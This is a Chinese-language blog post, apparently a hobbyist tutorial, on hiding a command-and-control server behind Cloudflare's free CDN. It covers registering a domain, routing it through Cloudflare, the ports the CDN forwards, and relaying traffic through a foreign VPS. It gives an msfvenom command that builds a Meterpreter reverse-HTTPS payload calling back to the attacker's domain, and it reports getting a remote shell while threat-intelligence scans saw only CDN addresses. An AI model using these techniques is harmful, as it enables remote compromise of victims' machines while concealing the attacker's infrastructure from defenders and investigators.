0%

使用CDN隐藏c2流量

 关于如何在一次攻击中使用域名和免费CDN隐藏c2服务器.

前言

 除了搭建多级肉鸡跳板网络来代理自己的攻击流量外, 还可以利用运营商提供的免费cdn网络来隐藏自己的c2服务器. 核心是利用了http形式的shell, 让cnd转发合法的http或者https流量来达到隐藏的目的.

环境准备

 利用CDN的首先要求就是得有个域名, 我从GoDaddy上整了个8块一年的小域名. 听说整免费域名也可以, 但是我死活没能白嫖成功, 只能pay2win. 这个域名是被攻击端能够看到的, 解析实名域名过去真就千里送.
 然后是注册个CloudFlare的用户, 这里没啥好说的, 英语凑合的都能看懂. 接下来跟着流程走, 把自己的域名服务器配置成CloudFlare的, 稍等几十分钟, 当多地ping发现每个地方的ip不同的时候就成功了.
 顺便有个坑点, cdn的流量转发并不是全端口的, 它只能识别特定的端口并转发, 当时卡在这里半天. 大致支持的端口列表如下:
Cloudflare支持的HTTP端口是:
80,8080,8880,2052,2082,2086,2095

Cloudflare支持的HTTPs端口是:
443,2053,2083,2087,2096,8443

 然后为了更好的反弹体验, 再在国外起一台服务器用于端口转发, 接cdn的后端流量. 在cdn那边配置解析地址到外网服务器上就行.
 但是又有了个蛋疼的问题, 我整的国外vps内存0.5g, 跑不动msf框架, 只能走端口转发接回国内.

实测

 首先用msfvenom生成一个http的🐎, 为了方便就直接生成exe, 关杀软, 不走免杀了.

1
msfvenom -p windows/x64/meterpreter/reverse_https lport=2096 lhost=你的域名 -f py -o cdn.py

 然后在外网服务器上启动端口转发, 转回国内, 国内的vps启动msf框架监听回连端口, 稍微注意一点是lhost得是你自己的域名.
yysy, 但凡我有点钱, 都不会用这么蒂蒂的服务器和这么蒂蒂的姿势.

 然后把生成的msf🐎双击运行, 等回连的meterpreter环境.

 可以看到已经回弹了, 但是由于从国外绕了一大圈才回来, msf的stage第二阶段的payload得过一年才能传输完毕. 属实蒂蒂.

看到已经RCE了.

 那么隐藏性呢? 上传微步在线的检测结果只能看到连接了我们注册的小域名, 访问的ip只能看到是cdn的节点ip, 大体来说隐藏还是十分成功的.